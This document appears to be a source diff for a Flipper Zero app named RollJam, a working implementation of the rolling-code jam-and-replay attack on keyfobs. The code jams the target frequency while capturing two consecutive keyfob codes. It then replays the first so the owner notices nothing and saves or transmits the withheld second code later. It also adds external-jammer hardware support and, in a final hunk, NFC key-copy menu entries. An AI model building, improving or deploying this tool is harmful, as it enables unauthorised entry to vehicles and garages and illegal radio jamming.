bool is_silence = (dur > SILENCE_GAP_US);
bool is_silence = (dur > SILENCE_GAP_US);
bool is_medium_gap = (dur > 5000 && dur <= SILENCE_GAP_US);
if(dur > 32767) dur = 32767;
switch(cap_state) {
switch(g_cap.state) {
case CapWaiting:
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) {
target->size = 0;
cap_valid_count = 0;
cap_total_count = 0;
cap_state = CapRecording;
g_cap.continuous_count = 0;
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US && !is_silence) {
target->size = 0;
g_cap.valid_count = 0;
g_cap.total_count = 0;
g_cap.state = CapRecording;
int16_t s = level ? (int16_t)dur : -(int16_t)dur;
target->data[target->size++] = s;
cap_valid_count++;
cap_total_count++;
g_cap.valid_count++;
g_cap.total_count++;
g_cap.continuous_count = 1;
}
break;
case CapRecording:
g_cap.continuous_count++;
if(g_cap.continuous_count > MAX_CONTINUOUS_SAMPLES && !is_medium_gap && !is_silence) {
target->size = 0;
cap_ctx_reset(&g_cap);
return;
}
if(target->size >= RAW_SIGNAL_MAX_SIZE) {
if(cap_valid_count >= MIN_FRAME_PULSES) {
cap_state = CapDone;
} else {
g_cap.state = (g_cap.valid_count >= MIN_FRAME_PULSES) ? CapDone : CapWaiting;
if(g_cap.state == CapWaiting) {
target->size = 0;
cap_valid_count = 0;
cap_total_count = 0;
cap_state = CapWaiting;
g_cap.valid_count = 0;
g_cap.total_count = 0;
g_cap.continuous_count = 0;
}
return;
}
if(is_silence) {
if(cap_valid_count >= MIN_FRAME_PULSES) {
if(target->size < RAW_SIGNAL_MAX_SIZE) {
int16_t s = level ? (int16_t)32767 : -32767;
target->data[target->size++] = s;
}
cap_state = CapDone;
if(g_cap.valid_count >= MIN_FRAME_PULSES) {
if(target->size < RAW_SIGNAL_MAX_SIZE)
target->data[target->size++] = level ? (int16_t)32767 : -32767;
g_cap.state = CapDone;
} else {
target->size = 0;
cap_valid_count = 0;
cap_total_count = 0;
cap_state = CapWaiting;
cap_ctx_reset(&g_cap);
}
return;
}
if(is_medium_gap) g_cap.continuous_count = 0;
{
int16_t s = level ? (int16_t)dur : -(int16_t)dur;
target->data[target->size++] = s;
cap_total_count++;
g_cap.total_count++;
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) {
cap_valid_count++;
if(cap_valid_count >= AUTO_ACCEPT_PULSES) {
cap_state = CapDone;
}
g_cap.valid_count++;
if(g_cap.valid_count >= AUTO_ACCEPT_PULSES)
g_cap.state = CapDone;
}
}
break;
@@ -269,64 +384,51 @@ static void capture_rx_callback(bool level, uint32_t duration, void* context) {
// ============================================================
void rolljam_capture_start(RollJamApp* app) {
FURI_LOG_I(TAG, "Capture start: freq=%lu mod=%d", app->frequency, app->mod_index);
FURI_LOG_I(TAG, "Capture start: freq=%lu mod=%d offset=%lu",
app->frequency, app->mod_index, app->jam_offset_hz);
// Full radio reset sequence
furi_hal_subghz_reset();
furi_delay_ms(10);
furi_hal_subghz_idle();
furi_delay_ms(10);
const uint8_t* preset;
const uint8_t* src_preset;
switch(app->mod_index) {
case ModIndex_FM238:
case ModIndex_FM476:
preset = preset_fsk_rx;
break;
default:
preset = preset_ook_rx;
break;
case ModIndex_AM270: src_preset = preset_ook_270_async; break;
case ModIndex_FM238: src_preset = preset_2fsk_238_async; break;
case ModIndex_FM476: src_preset = preset_2fsk_476_async; break;
default: src_preset = preset_ook_650_async; break;
}
furi_hal_subghz_load_custom_preset(preset);
furi_hal_subghz_load_custom_preset(src_preset);
furi_delay_ms(5);
uint32_t real_freq = furi_hal_subghz_set_frequency(app->frequency);
FURI_LOG_I(TAG, "Capture: freq set to %lu", real_freq);
uint32_t real_freq = furi_hal_subghz_set_frequency_and_path(app->frequency);
FURI_LOG_I(TAG, "Capture: freq=%lu (requested %lu)", real_freq, app->frequency);
furi_delay_ms(5);
furi_hal_subghz_rx();
furi_delay_ms(50);
cap_rssi_baseline = furi_hal_subghz_get_rssi();
float rssi_baseline = furi_hal_subghz_get_rssi();
g_cap.rssi_baseline = rssi_baseline;
FURI_LOG_I(TAG, "Capture: RSSI baseline=%.1f dBm", (double)rssi_baseline);
furi_hal_subghz_idle();
furi_delay_ms(5);
FURI_LOG_I(TAG, "Capture: RSSI baseline=%.1f dBm", (double)cap_rssi_baseline);
cap_state = CapWaiting;
cap_valid_count = 0;
cap_total_count = 0;
cap_callback_count = 0;
cap_ctx_reset(&g_cap);
// Determine target
if(!app->signal_first.valid) {
cap_target_first = true;
app->signal_first.size = 0;
g_cap.target_first = true;
app->signal_first.size = 0;
app->signal_first.valid = false;
FURI_LOG_I(TAG, "Capture target: FIRST signal");
} else {
cap_target_first = false;
app->signal_second.size = 0;
g_cap.target_first = false;
app->signal_second.size = 0;
app->signal_second.valid = false;
FURI_LOG_I(TAG, "Capture target: SECOND signal (first already valid, size=%d)",
app->signal_first.size);
FURI_LOG_I(TAG, "Capture target: SECOND signal");
}
g_cap.mod_index = app->mod_index;
app->raw_capture_active = true;
furi_hal_subghz_start_async_rx(capture_rx_callback, app);
FURI_LOG_I(TAG, "Capture: RX STARTED, active=%d, target_first=%d",
app->raw_capture_active, cap_target_first);
FURI_LOG_I(TAG, "Capture: RX STARTED");
}
void rolljam_capture_stop(RollJamApp* app) {
@@ -334,16 +436,11 @@ void rolljam_capture_stop(RollJamApp* app) {
FURI_LOG_W(TAG, "Capture stop: was not active");
return;
}
app->raw_capture_active = false;
furi_hal_subghz_stop_async_rx();
furi_delay_ms(5);
furi_hal_subghz_idle();
furi_delay_ms(5);
FURI_LOG_I(TAG, "Capture stopped. callbacks=%lu capState=%d validCnt=%d totalCnt=%d",
cap_callback_count, cap_state, cap_valid_count, cap_total_count);
FURI_LOG_I(TAG, "Capture stopped. cb=%lu state=%d valid=%d total=%d",
g_cap.callback_count, g_cap.state, g_cap.valid_count, g_cap.total_count);
FURI_LOG_I(TAG, " Sig1: size=%d valid=%d", app->signal_first.size, app->signal_first.valid);
FURI_LOG_I(TAG, " Sig2: size=%d valid=%d", app->signal_second.size, app->signal_second.valid);
}
@@ -353,64 +450,46 @@ void rolljam_capture_stop(RollJamApp* app) {
// ============================================================
bool rolljam_signal_is_valid(RawSignal* signal) {
if(cap_state != CapDone) {
// Log every few checks so we can see if callbacks are happening
if(g_cap.state != CapDone) {
static int check_count = 0;
check_count++;
if(check_count % 10 == 0) {
FURI_LOG_D(TAG, "Validate: not done yet, state=%d callbacks=%lu valid=%d total=%d sig_size=%d",
cap_state, cap_callback_count, cap_valid_count, cap_total_count, signal->size);
}
if(check_count % 10 == 0)
FURI_LOG_D(TAG, "Validate: state=%d cb=%lu valid=%d total=%d size=%d",
g_cap.state, g_cap.callback_count,
g_cap.valid_count, g_cap.total_count, (int)signal->size);
return false;
}
if(signal->size < MIN_FRAME_PULSES) return false;
if(signal->size < (size_t)MIN_FRAME_PULSES) return false;
// Reject jammer noise: if signal is uniform amplitude, it's our own jam
if(rolljam_is_jammer_pattern(signal)) {
FURI_LOG_W(TAG, "Jammer noise ignored (size=%d)", signal->size);
if(rolljam_is_jammer_pattern_mod(signal, g_cap.mod_index)) {
signal->size = 0;
cap_state = CapWaiting;
cap_valid_count = 0;
cap_total_count = 0;
cap_ctx_reset(&g_cap);
return false;
}
int good = 0;
int total = (int)signal->size;
for(int i = 0; i < total; i++) {
int16_t val = signal->data[i];
int16_t abs_val = val > 0 ? val : -val;
if((int32_t)abs_val >= MIN_PULSE_US) { // upper bound = clamp at 32767
good++;
}
if(!rolljam_has_sufficient_variance(signal)) {
signal->size = 0;
cap_ctx_reset(&g_cap);
return false;
}
int good = 0;
int total = (int)signal->size;
for(int i = 0; i < total; i++) {
int16_t abs_val = signal->data[i] > 0 ? signal->data[i] : -signal->data[i];
if(abs_val >= MIN_PULSE_US) good++;
}
int ratio_pct = (total > 0) ? ((good * 100) / total) : 0;
if(ratio_pct > 50 && good >= MIN_FRAME_PULSES) {
float rssi = furi_hal_subghz_get_rssi();
float rssi_delta = rssi - cap_rssi_baseline;
FURI_LOG_I(TAG, "Signal VALID: %d/%d (%d%%) samples=%d rssi=%.1f delta=%.1f",
good, total, ratio_pct, total, (double)rssi, (double)rssi_delta);
if(rssi_delta < 5.0f && rssi < -85.0f) {
FURI_LOG_W(TAG, "Signal rejected: RSSI too low (%.1f dBm, delta=%.1f)",
(double)rssi, (double)rssi_delta);
signal->size = 0;
cap_state = CapWaiting;
cap_valid_count = 0;
cap_total_count = 0;
return false;
}
FURI_LOG_I(TAG, "Signal VALID: %d/%d (%d%%) size=%d", good, total, ratio_pct, total);
return true;
}
FURI_LOG_D(TAG, "Signal rejected: %d/%d (%d%%), reset", good, total, ratio_pct);
FURI_LOG_D(TAG, "Signal rejected: %d/%d (%d%%)", good, total, ratio_pct);
signal->size = 0;
cap_state = CapWaiting;
cap_valid_count = 0;
cap_total_count = 0;
cap_ctx_reset(&g_cap);
return false;
}
@@ -419,7 +498,7 @@ bool rolljam_signal_is_valid(RawSignal* signal) {
// ============================================================
void rolljam_signal_cleanup(RawSignal* signal) {
if(signal->size < MIN_FRAME_PULSES) return;
if(signal->size < (size_t)MIN_FRAME_PULSES) return;
int16_t* cleaned = malloc(RAW_SIGNAL_MAX_SIZE * sizeof(int16_t));
if(!cleaned) return;
@@ -427,22 +506,21 @@ void rolljam_signal_cleanup(RawSignal* signal) {
size_t start = 0;
while(start < signal->size) {
int16_t val = signal->data[start];
int16_t abs_val = val > 0 ? val : -val;
int16_t abs_val = signal->data[start] > 0 ? signal->data[start] : -signal->data[start];
if(abs_val >= MIN_PULSE_US) break;
start++;
}
for(size_t i = start; i < signal->size; i++) {
int16_t val = signal->data[i];
int16_t abs_val = val > 0 ? val : -val;
bool is_positive = val > 0;
int16_t val = signal->data[i];
int16_t abs_val = val > 0 ? val : -val;
bool is_positive = (val > 0);
if(abs_val < MIN_PULSE_US) {
if(out > 0) {
int16_t prev = cleaned[out - 1];
bool prev_positive = prev > 0;
int16_t prev_abs = prev > 0 ? prev : -prev;
int16_t prev = cleaned[out - 1];
bool prev_positive = (prev > 0);
int16_t prev_abs = prev > 0 ? prev : -prev;
if(prev_positive == is_positive) {
int32_t merged = (int32_t)prev_abs + abs_val;
if(merged > 32767) merged = 32767;
@@ -455,27 +533,23 @@ void rolljam_signal_cleanup(RawSignal* signal) {
int32_t q = ((abs_val + 50) / 100) * 100;
if(q < MIN_PULSE_US) q = MIN_PULSE_US;
if(q > 32767) q = 32767;
int16_t quantized = (int16_t)q;
if(out < RAW_SIGNAL_MAX_SIZE) {
cleaned[out++] = is_positive ? quantized : -quantized;
}
if(out < RAW_SIGNAL_MAX_SIZE)
cleaned[out++] = is_positive ? (int16_t)q : -(int16_t)q;
}
while(out > 0) {
int16_t last = cleaned[out - 1];
int16_t abs_last = last > 0 ? last : -last;
int16_t abs_last = cleaned[out-1] > 0 ? cleaned[out-1] : -cleaned[out-1];
if(abs_last >= MIN_PULSE_US && abs_last < 32767) break;
out--;
}
if(out >= MIN_FRAME_PULSES) {
if(out >= (size_t)MIN_FRAME_PULSES) {
size_t orig = signal->size;
memcpy(signal->data, cleaned, out * sizeof(int16_t));
signal->size = out;
FURI_LOG_I(TAG, "Cleanup: %d -> %d samples", (int)orig, (int)out);
}
free(cleaned);
}
@@ -484,8 +558,8 @@ void rolljam_signal_cleanup(RawSignal* signal) {
// ============================================================
typedef struct {
const int16_t* data;
size_t size;
const int16_t* data;
size_t size;
volatile size_t index;
} TxCtx;
@@ -494,11 +568,9 @@ static TxCtx g_tx;
static LevelDuration tx_feed(void* context) {
UNUSED(context);
if(g_tx.index >= g_tx.size) return level_duration_reset();
int16_t sample = g_tx.data[g_tx.index++];
bool level = (sample > 0);
uint32_t dur = (uint32_t)(sample > 0 ? sample : -sample);
bool level = (sample > 0);
uint32_t dur = (uint32_t)(sample > 0 ? sample : -sample);
return level_duration_make(level, dur);
}
@@ -507,33 +579,23 @@ void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal) {
FURI_LOG_E(TAG, "TX: no valid signal");
return;
}
FURI_LOG_I(TAG, "TX: %d samples at %lu Hz (3x)", (int)signal->size, app->frequency);
FURI_LOG_I(TAG, "TX: %d samples at %lu Hz (3x)", signal->size, app->frequency);
furi_hal_subghz_reset();
furi_hal_subghz_idle();
furi_delay_ms(10);
const uint8_t* tx_preset;
const uint8_t* tx_src;
switch(app->mod_index) {
case ModIndex_FM238:
tx_preset = preset_fsk_tx_238;
break;
case ModIndex_FM476:
tx_preset = preset_fsk_tx_476;
break;
default:
tx_preset = preset_ook_tx;
break;
case ModIndex_FM238: tx_src = preset_fsk_tx_238; break;
case ModIndex_FM476: tx_src = preset_fsk_tx_476; break;
default: tx_src = preset_ook_tx; break;
}
furi_hal_subghz_load_custom_preset(tx_preset);
uint32_t real_freq = furi_hal_subghz_set_frequency(app->frequency);
furi_hal_subghz_load_custom_preset(tx_src);
uint32_t real_freq = furi_hal_subghz_set_frequency_and_path(app->frequency);
FURI_LOG_I(TAG, "TX: freq=%lu", real_freq);
furi_hal_subghz_idle();
furi_delay_ms(5);
// Transmit 3 times — improves reliability especially at range
for(int tx_repeat = 0; tx_repeat < 3; tx_repeat++) {
g_tx.data = signal->data;
g_tx.size = signal->size;
g_tx.data = signal->data;
g_tx.size = signal->size;
g_tx.index = 0;
if(!furi_hal_subghz_start_async_tx(tx_feed, NULL)) {
@@ -550,14 +612,11 @@ void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal) {
break;
}
}
furi_hal_subghz_stop_async_tx();
FURI_LOG_I(TAG, "TX: repeat %d done (%d/%d)", tx_repeat, g_tx.index, signal->size);
// Small gap between repeats
FURI_LOG_I(TAG, "TX: repeat %d done (%d/%d)",
tx_repeat, (int)g_tx.index, (int)signal->size);
if(tx_repeat < 2) furi_delay_ms(50);
}
furi_hal_subghz_idle();
FURI_LOG_I(TAG, "TX: all repeats done");
}
@@ -590,24 +649,20 @@ void rolljam_save_signal(RollJamApp* app, RawSignal* signal) {
furi_string_set(line, "Filetype: Flipper SubGhz RAW File\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Version: 1\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Frequency: %lu\n", app->frequency);
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
const char* pname;
switch(app->mod_index) {
case ModIndex_AM270: pname = "FuriHalSubGhzPresetOok270Async"; break;
case ModIndex_AM270: pname = "FuriHalSubGhzPresetOok270Async"; break;
case ModIndex_FM238: pname = "FuriHalSubGhzPreset2FSKDev238Async"; break;
case ModIndex_FM476: pname = "FuriHalSubGhzPreset2FSKDev476Async"; break;
default: pname = "FuriHalSubGhzPresetOok650Async"; break;
default: pname = "FuriHalSubGhzPresetOok650Async"; break;
}
furi_string_printf(line, "Preset: %s\n", pname);
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Protocol: RAW\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
@@ -616,15 +671,13 @@ void rolljam_save_signal(RollJamApp* app, RawSignal* signal) {
furi_string_set(line, "RAW_Data:");
size_t end = i + 512;
if(end > signal->size) end = signal->size;
for(; i < end; i++) {
for(; i < end; i++)
furi_string_cat_printf(line, " %d", signal->data[i]);
}
furi_string_cat(line, "\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
}
furi_string_free(line);
FURI_LOG_I(TAG, "Saved: %d samples", signal->size);
FURI_LOG_I(TAG, "Saved: %d samples", (int)signal->size);
} else {
FURI_LOG_E(TAG, "Save failed!");
}

View File

@@ -15,20 +15,11 @@
* This matches the Flipper .sub RAW format.
*/
// Start raw capture on internal CC1101
void rolljam_capture_start(RollJamApp* app);
// Stop capture
void rolljam_capture_stop(RollJamApp* app);
// Check if captured signal looks valid (not just noise)
bool rolljam_signal_is_valid(RawSignal* signal);
// Clean up captured signal: merge short pulses, quantize, trim noise
void rolljam_signal_cleanup(RawSignal* signal);
// Transmit a raw signal via internal CC1101
void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal);
// Save signal to .sub file on SD card
void rolljam_save_signal(RollJamApp* app, RawSignal* signal);

View File

@@ -57,6 +57,11 @@ const char* jam_offset_names[] = {
"1000 kHz",
};
const char* hw_names[] = {
"CC1101",
"Flux Cap",
};
// ============================================================
// Scene handlers table (extern declarations in scene header)
// ============================================================
@@ -119,6 +124,7 @@ static RollJamApp* rolljam_app_alloc(void) {
app->mod_index = ModIndex_AM650;
app->jam_offset_index = JamOffIndex_700k;
app->jam_offset_hz = jam_offset_values[JamOffIndex_700k];
app->hw_index = HwIndex_CC1101;
// Services
app->gui = furi_record_open(RECORD_GUI);
@@ -174,7 +180,6 @@ static RollJamApp* rolljam_app_alloc(void) {
// ============================================================
static void rolljam_app_free(RollJamApp* app) {
// Safety: stop everything
if(app->jamming_active) {
rolljam_jammer_stop(app);
}
@@ -182,7 +187,6 @@ static void rolljam_app_free(RollJamApp* app) {
rolljam_capture_stop(app);
}
// Remove views
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewVarItemList);
variable_item_list_free(app->var_item_list);
@@ -195,11 +199,9 @@ static void rolljam_app_free(RollJamApp* app) {
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewPopup);
popup_free(app->popup);
// Core
scene_manager_free(app->scene_manager);
view_dispatcher_free(app->view_dispatcher);
// Services
furi_record_close(RECORD_GUI);
furi_record_close(RECORD_NOTIFICATION);
furi_record_close(RECORD_STORAGE);

View File

@@ -18,7 +18,6 @@
#define TAG "RollJam"
// Max raw signal buffer
#define RAW_SIGNAL_MAX_SIZE 4096
// ============================================================
@@ -69,6 +68,17 @@ typedef enum {
extern const uint32_t jam_offset_values[];
extern const char* jam_offset_names[];
// ============================================================
// Hardware type
// ============================================================
typedef enum {
HwIndex_CC1101 = 0,
HwIndex_FluxCapacitor,
HwIndex_COUNT,
} HwIndex;
extern const char* hw_names[];
// ============================================================
// Scenes
// ============================================================
@@ -116,37 +126,33 @@ typedef struct {
// Main app struct
// ============================================================
typedef struct {
// Core
Gui* gui;
ViewDispatcher* view_dispatcher;
SceneManager* scene_manager;
NotificationApp* notification;
Storage* storage;
// Views / modules
VariableItemList* var_item_list;
Widget* widget;
DialogEx* dialog_ex;
Popup* popup;
// Settings
FreqIndex freq_index;
ModIndex mod_index;
JamOffIndex jam_offset_index;
HwIndex hw_index;
uint32_t frequency;
uint32_t jam_frequency;
uint32_t jam_offset_hz;
// Captured signals
RawSignal signal_first;
RawSignal signal_second;
// Jamming state
bool jamming_active;
FuriThread* jam_thread;
volatile bool jam_thread_running;
// Capture state
volatile bool raw_capture_active;
} RollJamApp;

View File

@@ -9,10 +9,8 @@
static void phase1_timer_callback(void* context) {
RollJamApp* app = context;
if(app->signal_first.size > 0 &&
if(app->signal_first.size >= 20 &&
rolljam_signal_is_valid(&app->signal_first)) {
rolljam_signal_cleanup(&app->signal_first);
app->signal_first.valid = true;
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventSignalCaptured);
}
@@ -27,7 +25,32 @@ void rolljam_scene_attack_phase1_on_enter(void* context) {
FontPrimary, "PHASE 1 / 4");
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "Jamming active...");
FontSecondary, "Starting...");
widget_add_string_element(
app->widget, 64, 56, AlignCenter, AlignTop,
FontSecondary, "[BACK] cancel");
view_dispatcher_switch_to_view(app->view_dispatcher, RollJamViewWidget);
rolljam_ext_set_flux_capacitor(app->hw_index == HwIndex_FluxCapacitor);
rolljam_jammer_start(app);
furi_delay_ms(300);
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
FontPrimary, "PHASE 1 / 4");
if(app->jamming_active) {
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "Jamming active...");
FURI_LOG_I(TAG, "Phase1: jammer activo en %lu Hz", app->jam_frequency);
} else {
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "No ext jammer");
FURI_LOG_W(TAG, "Phase1: sin jammer, capturando de todas formas");
}
widget_add_string_element(
app->widget, 64, 28, AlignCenter, AlignTop,
FontSecondary, "Listening for keyfob");
@@ -38,13 +61,6 @@ void rolljam_scene_attack_phase1_on_enter(void* context) {
app->widget, 64, 56, AlignCenter, AlignTop,
FontSecondary, "[BACK] cancel");
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewWidget);
// Start jamming
rolljam_jammer_start(app);
// Start capture
rolljam_capture_start(app);
notification_message(app->notification, &sequence_blink_blue_100);
@@ -64,21 +80,29 @@ bool rolljam_scene_attack_phase1_on_event(void* context, SceneManagerEvent event
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSignalCaptured) {
notification_message(app->notification, &sequence_success);
FURI_LOG_I(TAG, "Phase1: 1st signal captured! size=%d",
app->signal_first.size);
// Stop capture cleanly
rolljam_capture_stop(app);
// Jamming stays active!
scene_manager_next_scene(
app->scene_manager, RollJamSceneAttackPhase2);
if(!rolljam_signal_is_valid(&app->signal_first)) {
FURI_LOG_W(TAG, "Phase1: false capture, restarting RX...");
app->signal_first.size = 0;
app->signal_first.valid = false;
furi_delay_ms(50);
rolljam_capture_start(app);
return true;
}
rolljam_signal_cleanup(&app->signal_first);
app->signal_first.valid = true;
notification_message(app->notification, &sequence_success);
FURI_LOG_I(TAG, "Phase1: 1st signal captured! size=%d",
(int)app->signal_first.size);
scene_manager_next_scene(app->scene_manager, RollJamSceneAttackPhase2);
return true;
}
} else if(event.type == SceneManagerEventTypeBack) {
FURI_LOG_I(TAG, "Phase1: cancelled by user");
FURI_LOG_I(TAG, "Phase1: cancelled");
rolljam_capture_stop(app);
rolljam_jammer_stop(app);
scene_manager_search_and_switch_to_another_scene(

View File

@@ -9,10 +9,8 @@
static void phase2_timer_callback(void* context) {
RollJamApp* app = context;
if(app->signal_second.size > 0 &&
if(app->signal_second.size >= 20 &&
rolljam_signal_is_valid(&app->signal_second)) {
rolljam_signal_cleanup(&app->signal_second);
app->signal_second.valid = true;
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventSignalCaptured);
}
@@ -38,21 +36,14 @@ void rolljam_scene_attack_phase2_on_enter(void* context) {
app->widget, 64, 56, AlignCenter, AlignTop,
FontSecondary, "[BACK] cancel");
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewWidget);
view_dispatcher_switch_to_view(app->view_dispatcher, RollJamViewWidget);
// CRITICAL: completely clear second signal
memset(app->signal_second.data, 0, sizeof(app->signal_second.data));
app->signal_second.size = 0;
app->signal_second.size = 0;
app->signal_second.valid = false;
// Stop previous capture if any
rolljam_capture_stop(app);
// Small delay to let radio settle
furi_delay_ms(50);
// Start fresh capture for second signal
rolljam_capture_start(app);
notification_message(app->notification, &sequence_blink_yellow_100);
@@ -72,19 +63,30 @@ bool rolljam_scene_attack_phase2_on_event(void* context, SceneManagerEvent event
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSignalCaptured) {
notification_message(app->notification, &sequence_success);
FURI_LOG_I(TAG, "Phase2: 2nd signal captured! size=%d",
app->signal_second.size);
rolljam_capture_stop(app);
scene_manager_next_scene(
app->scene_manager, RollJamSceneAttackPhase3);
if(!rolljam_signal_is_valid(&app->signal_second)) {
FURI_LOG_W(TAG, "Phase2: false capture, restarting RX...");
app->signal_second.size = 0;
app->signal_second.valid = false;
furi_delay_ms(50);
rolljam_capture_start(app);
return true;
}
rolljam_signal_cleanup(&app->signal_second);
app->signal_second.valid = true;
notification_message(app->notification, &sequence_success);
FURI_LOG_I(TAG, "Phase2: 2nd signal captured! size=%d",
(int)app->signal_second.size);
rolljam_capture_stop(app);
scene_manager_next_scene(app->scene_manager, RollJamSceneAttackPhase3);
return true;
}
} else if(event.type == SceneManagerEventTypeBack) {
FURI_LOG_I(TAG, "Phase2: cancelled by user");
FURI_LOG_I(TAG, "Phase2: cancelled");
rolljam_capture_stop(app);
rolljam_jammer_stop(app);
scene_manager_search_and_switch_to_another_scene(

View File

@@ -10,7 +10,6 @@
void rolljam_scene_attack_phase3_on_enter(void* context) {
RollJamApp* app = context;
// UI
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
@@ -28,23 +27,18 @@ void rolljam_scene_attack_phase3_on_enter(void* context) {
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewWidget);
// LED: green
notification_message(app->notification, &sequence_blink_green_100);
// 1) Stop the jammer
rolljam_jammer_stop(app);
// Wait for jammer thread to fully stop and radio to settle
furi_delay_ms(1000);
// 2) Transmit first captured signal via internal CC1101
rolljam_transmit_signal(app, &app->signal_first);
FURI_LOG_I(TAG, "Phase3: 1st code replayed. Keeping 2nd code.");
notification_message(app->notification, &sequence_success);
// Brief display then advance
furi_delay_ms(800);
view_dispatcher_send_custom_event(

View File

@@ -4,36 +4,69 @@
// Menu scene: select frequency, modulation, start attack
// ============================================================
static uint8_t get_min_offset_index(uint8_t mod_index) {
if(mod_index == ModIndex_AM270) return JamOffIndex_1000k;
return JamOffIndex_300k;
}
static void enforce_min_offset(RollJamApp* app, VariableItem* offset_item) {
uint8_t min_idx = get_min_offset_index(app->mod_index);
if(app->jam_offset_index < min_idx) {
app->jam_offset_index = min_idx;
app->jam_offset_hz = jam_offset_values[min_idx];
if(offset_item) {
variable_item_set_current_value_index(offset_item, min_idx);
variable_item_set_current_value_text(offset_item, jam_offset_names[min_idx]);
}
FURI_LOG_I(TAG, "Menu: offset ajustado a %s para AM270",
jam_offset_names[min_idx]);
}
}
static VariableItem* s_offset_item = NULL;
static void menu_freq_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->freq_index = index;
app->frequency = freq_values[index];
app->frequency = freq_values[index];
variable_item_set_current_value_text(item, freq_names[index]);
}
static void menu_mod_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->mod_index = index;
variable_item_set_current_value_text(item, mod_names[index]);
enforce_min_offset(app, s_offset_item);
}
static void menu_jam_offset_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
uint8_t min_idx = get_min_offset_index(app->mod_index);
if(index < min_idx) {
index = min_idx;
variable_item_set_current_value_index(item, index);
}
app->jam_offset_index = index;
app->jam_offset_hz = jam_offset_values[index];
app->jam_offset_hz = jam_offset_values[index];
variable_item_set_current_value_text(item, jam_offset_names[index]);
}
static void menu_hw_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->hw_index = index;
variable_item_set_current_value_text(item, hw_names[index]);
}
static void menu_enter_callback(void* context, uint32_t index) {
RollJamApp* app = context;
if(index == 3) {
if(index == 4) {
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventStartAttack);
}
@@ -64,15 +97,30 @@ void rolljam_scene_menu_on_enter(void* context) {
variable_item_set_current_value_index(mod_item, app->mod_index);
variable_item_set_current_value_text(mod_item, mod_names[app->mod_index]);
// --- Jam Offset ---
VariableItem* offset_item = variable_item_list_add(
app->var_item_list,
"Jam Offset",
JamOffIndex_COUNT,
menu_jam_offset_changed,
app);
s_offset_item = offset_item;
enforce_min_offset(app, offset_item);
variable_item_set_current_value_index(offset_item, app->jam_offset_index);
variable_item_set_current_value_text(offset_item, jam_offset_names[app->jam_offset_index]);
// --- Hardware ---
VariableItem* hw_item = variable_item_list_add(
app->var_item_list,
"Hardware",
HwIndex_COUNT,
menu_hw_changed,
app);
variable_item_set_current_value_index(hw_item, app->hw_index);
variable_item_set_current_value_text(hw_item, hw_names[app->hw_index]);
// --- Start button ---
variable_item_list_add(
app->var_item_list,
@@ -93,8 +141,9 @@ bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event) {
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventStartAttack) {
// Clear previous captures
memset(&app->signal_first, 0, sizeof(RawSignal));
enforce_min_offset(app, NULL);
memset(&app->signal_first, 0, sizeof(RawSignal));
memset(&app->signal_second, 0, sizeof(RawSignal));
scene_manager_next_scene(
@@ -107,5 +156,6 @@ bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event) {
void rolljam_scene_menu_on_exit(void* context) {
RollJamApp* app = context;
s_offset_item = NULL;
variable_item_list_reset(app->var_item_list);
}

View File

@@ -48,7 +48,7 @@ bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSaveSignal) {
// Save to .sub file
rolljam_save_signal(app, &app->signal_second);
popup_reset(app->popup);
@@ -68,7 +68,7 @@ bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
return true;
} else if(event.event == RollJamEventReplayNow) {
// Show sending screen
popup_reset(app->popup);
popup_set_header(
app->popup, "Transmitting...",
@@ -79,7 +79,6 @@ bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewPopup);
// Transmit second signal
rolljam_transmit_signal(app, &app->signal_second);
notification_message(app->notification, &sequence_success);

View File

@@ -14,7 +14,9 @@ enum {
SubmenuIndexUnlock = SubmenuIndexCommonMax,
SubmenuIndexUnlockByReader,
SubmenuIndexUnlockByPassword,
SubmenuIndexDictAttack
SubmenuIndexDictAttack,
SubmenuIndexWriteKeepKey, // ULC: write data pages, keep target card's existing key
SubmenuIndexWriteCopyKey, // ULC: write all pages including key from source card
};
enum {
